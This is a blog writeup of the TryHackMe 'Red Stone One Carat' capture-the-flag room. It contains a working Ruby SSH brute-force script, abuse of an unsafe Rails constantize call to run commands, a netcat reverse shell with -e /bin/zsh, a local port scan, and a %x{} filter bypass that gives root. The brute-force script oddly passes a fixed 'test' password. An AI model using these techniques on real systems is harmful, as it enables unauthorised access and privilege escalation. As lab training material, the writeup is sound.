siunam's Website

My personal website

Home Writeups Blog Projects About E-Portfolio

Red Stone One Carat | Jan 12, 2023

Introduction

Welcome to my another writeup! In this TryHackMe Red Stone One Carat room, you’ll learn: Writing Ruby script, restricted shell escape and more! Without further ado, let’s dive in.

Table of Content

  1. Service Enumeration
  2. Initial Foothold
  3. Privilege Escalation: noraj to root
  4. Conclusion

Background

First room of the Red Stone series. Hack ruby using ruby.

Difficulty: Medium


Rooms of the Red Stone series share the same goals:

I’ll give you a valuable source to find stuff related to Offensive Security using Ruby: https://rubyfu.net/.

Disclaimer: this room requires custom exploitation and scripting and is more CTF-like than real life applicable.

The intended way of this challenge is to complete it by only using Ruby.

Task 2 - Flags

Start with SSH bruteforce on user noraj.


Service Enumeration

As usual, scan the machine for open ports via rustscan!

Rustscan:

╭─root at siunam in ~/ctf/thm/ctf/Red-Stone-One-Carat 2023-01-12 - 8:50:20
╰─○ export RHOSTS=10.10.232.55 
╭─root at siunam in ~/ctf/thm/ctf/Red-Stone-One-Carat 2023-01-12 - 8:50:28
╰─○ rustscan --ulimit 5000 -b 4500 -t 2000 --range 1-65535 $RHOSTS -- -sC -sV -oN rustscan/rustscan.txt
[...]
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 fee7f2f67465a6ddf294cd45fdf32b2a (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHVsUg1GJYLWn/T/EkTfAMV4tdmLEiJvPP4cCCbx7hFt3ma0FAQpMMAoXFP12+hePBl
|   256 34a316aab31f83ac91a331b445943cc9 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJf9gbS/xBNED4k9vQscQ6Xi4VMzkK2M=
|   256 7523c066c72c6e120af704612bc61262 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJ7ai11Zz/i/bAw8SQG0aBJfcYjdIiQQiAXhV8/9b3km
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

According to rustscan result, we have 1 port is opened:

Open Ports Service
22 OpenSSH 7.6p1 Ubuntu

SSH on Port 22

First, let’s prepare the wordlist.

In the room’s hint, it said:

The password contains “bu”.

Let’s use grep to grab all passwords that contain bu:

╭─root at siunam in ~/ctf/thm/ctf/Red-Stone-One-Carat 2023-01-12 - 10:04:10
╰─○ grep 'bu' /usr/share/wordlists/rockyou.txt > bu_password.txt

Initial Foothold

Then, we can write a ruby script to brute force user noraj’s password.

#!/usr/bin/env ruby
require 'rubygems'
require 'net/ssh'
require 'thread'

class Exploit
    def initialize(rhosts)
        @rhosts = rhosts
    end

    def bruteforceSSH(filename, username)

        # Method that connect to target's SSH port
        def connectSSH(username, password)
            begin
                puts "[*] Trying credentials: #{username}:#{password}"

                Net::SSH.start(@rhosts, username, :password => 'test',
                           :auth_methods => ["password"], :port => 22,
                           :non_interactive => true, :timeout => 10 ) do
                    puts "[+] Found valid credentials: #{username}:#{password}"
                end
            # Password is wrong
            rescue Net::SSH::AuthenticationFailed

            end
        end

        # Create a File object
        file = File.open(filename)

        # Read the whole file into one array of lines
        file.readlines.each do |password|
            # For each password, create a new thread to method connectSSH
            thread = Thread.new {connectSSH(username, password)}

            # Sleep 0.5s to prevent rate limiting in SSH
            sleep(0.5)
        end
    end
end

def main()
    rhosts = '10.10.232.55'
    username = 'noraj'
    passwordWordlist = 'bu_password.txt'

    objectExploit = Exploit.new(rhosts)
    objectExploit.bruteforceSSH(passwordWordlist, username)
end

if $PROGRAM_NAME == __FILE__
    main()
end
╭─root at siunam in ~/ctf/thm/ctf/Red-Stone-One-Carat 2023-01-12 - 10:20:25
╰─○ ruby bruteforce_ssh.rb
[...]
[+] Found valid credentials: noraj:chesseburger

Found it! Let’s SSH into user noraj!

╭─root at siunam in ~/ctf/thm/ctf/Red-Stone-One-Carat 2023-01-12 - 10:28:06
╰─○ ssh noraj@$RHOSTS
noraj@10.10.232.55's password: 
getent:6: command not found: grep
compdump:136: command not found: mv
red-stone-one-carat% whoami;hostname;id;ip a
zsh: command not found: whoami
zsh: command not found: hostname
zsh: command not found: id
zsh: command not found: ip
red-stone-one-carat% /bin/bash
zsh: /bin/bash: restricted

Hmm… Looks like we’re in a restricted zsh shell!

Let’s view the environment variables:

red-stone-one-carat% export
HOME=/home/noraj
LANG=en_US.UTF-8
LANGUAGE=en_US:
LOGNAME=noraj
MAIL=/var/mail/noraj
OLDPWD=/home/noraj
PATH=/home/noraj/bin
PWD=/home/noraj
SHELL=/bin/rzsh
SHLVL=1
SSH_CLIENT='10.9.0.253 53598 22'
SSH_CONNECTION='10.9.0.253 53598 10.10.232.55 22'
SSH_TTY=/dev/pts/0
TERM=xterm-256color
USER=noraj
XDG_RUNTIME_DIR=/run/user/1001
XDG_SESSION_ID=25

As you can see, our SHELL variable is /bin/rzsh, which is a restricted zsh shell.

After poking around, I found that we can use echo:

red-stone-one-carat% echo 'hello'
hello

Armed with above information, we can use echo * and echo .* to list files:

red-stone-one-carat% echo * 
bin user.txt

red-stone-one-carat% echo .*
.cache .hint.txt .zcompdump.red-stone-one-carat.1404 .zshrc

red-stone-one-carat% echo bin/*
bin/rzsh bin/test.rb

The bin/test.rb looks interesting. Let’s execute that:

red-stone-one-carat% test.rb
#!/usr/bin/ruby

require 'rails'

if ARGV.size == 3
    klass = ARGV[0].constantize
    obj = klass.send(ARGV[1].to_sym, ARGV[2])
else
    puts File.read(__FILE__)
end

Let’s break it down:

According to this blog, the constantize is insecure:

So, the constantize prevents “any” ruby code from being executed, it allows unintended classes to be initiate.

Now, to abuse that, we can use class Kernel, class method exec(), and argument <command>:

test.rb Kernel 'system' "/bin/sh"

This should spawn a sh shell for us:

red-stone-one-carat% test.rb Kernel 'system' "/bin/sh"     
red-stone-one-carat% 

Hmm… Doesn’t work.

Let’s take a step back.

If we can execute any OS command from test.rb, why not just use that ruby script?

red-stone-one-carat% test.rb Kernel 'system' "/bin/ls -lah"
total 72K
drwxr-xr-x 4 noraj   noraj   4.0K Jan 12 03:28 .
drwxr-xr-x 4 root    root    4.0K May 17  2021 ..
drwxr-xr-x 2 root    root    4.0K May 17  2021 bin
drwx------ 2 noraj   noraj   4.0K Jan 12 03:28 .cache
-rw-r--r-- 1 vagrant vagrant   36 May 17  2021 .hint.txt
-rw-r--r-- 1 vagrant vagrant   37 May 17  2021 user.txt
-rw-rw-r-- 1 noraj   noraj    42K Jan 12 03:28 .zcompdump.red-stone-one-carat.1398
-rw-r--r-- 1 vagrant vagrant   20 May 17  2021 .zshrc

It worked!

Let’s get a reverse shell!

╭─root at siunam in ~/ctf/thm/ctf/Red-Stone-One-Carat 2023-01-12 - 11:36:07
╰─○ nc -lnvp 443
listening on [any] 443 ...
red-stone-one-carat% test.rb Kernel 'system' "/bin/nc.traditional 10.9.0.253 443 -e /bin/sh" 
exec /bin/sh failed : Permission denied

Wait, permission denied?

Let’s try zsh:

red-stone-one-carat% test.rb Kernel 'system' "/bin/nc.traditional 10.9.0.253 443 -e /bin/zsh"
╭─root at siunam in ~/ctf/thm/ctf/Red-Stone-One-Carat 2023-01-12 - 11:36:10
╰─○ nc -lnvp 443
listening on [any] 443 ...
connect to [10.9.0.253] from (UNKNOWN) [10.10.47.251] 52508
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
whoami;hostname;id
noraj
red-stone-one-carat
uid=1001(noraj) gid=1001(noraj) groups=1001(noraj)

It worked!

However, it’s still very restricted:

cat user.txt
zsh: permission denied: cat

After fumbling around, I also found that we can use echo to read file:

echo $(<.hint.txt)
Maybe take a look at local services.

user.txt:

echo $(<user.txt)
THM{Redacted}

Privilege Escalation

noraj to root

In the .hint.txt file, it said:

Maybe take a look at local services.

We can use netstat or ss to list all listening ports:

netstat -tunlp
zsh: permission denied: netstat
ss
zsh: permission denied: ss

Hmm…

Since the target machine has nc, we can leverage that to scan all ports:

nc -zvnw 1 127.0.0.1 1-65535
(UNKNOWN) [127.0.0.1] 31547 (?) open
(UNKNOWN) [127.0.0.1] 22 (ssh) open

In here, we could just nc to port 31547, so we’re inside a nc session of a nc session:

nc 127.0.0.1 31547
$ 
$ echo hello?
undefined method `hello?' for main:Object

Hmm… Looks like we’re inside a ruby pseudo shell.

We can try to read file:

$ File.read('/etc/passwd') 
Forbidden character

Umm… Our input is getting filtered?

Let’s test which characters are filtered:

Forbidden character
$ (   
Forbidden character
$ )
Forbidden character
$ [
Forbidden character
$ ]
Forbidden character
$ .
Forbidden character
$ '
Forbidden character
$ "
Forbidden character

Now, we need to bypass that to get OS command execution.

According to this StackOverflow post, we can execute command via:

Let’s do that:

$ %x{id}
uid=0(root) gid=0(root) groups=0(root)

Nice! We can execute any commands!

$ %x{ls -lah /root}
total 32K
drwx------  4 root    root    4.0K May 17  2021 .
drwxr-xr-x 23 root    root    4.0K May 17  2021 ..
-rw-r--r--  1 root    root    3.1K May 12  2021 .bashrc
drwx------  2 root    root    4.0K May 12  2021 .cache
drwx------  3 root    root    4.0K May 12  2021 .gnupg
-rw-r--r--  1 root    root     148 Aug 17  2015 .profile
-rw-r--r--  1 vagrant vagrant   37 May 17  2021 root.txt
-rwxr-xr--  1 vagrant vagrant  612 May 17  2021 server.rb

Rooted

root.txt:

$ %x{cat /root/*}
THM{Redacted}[...]

Conclusion

What we’ve learned:

  1. Writing Ruby Script to Brute Force SSH
  2. Exploiting Ruby on Rails Insecure constantize
  3. Escaping Restricted Shell
  4. Ruby Filter Bypass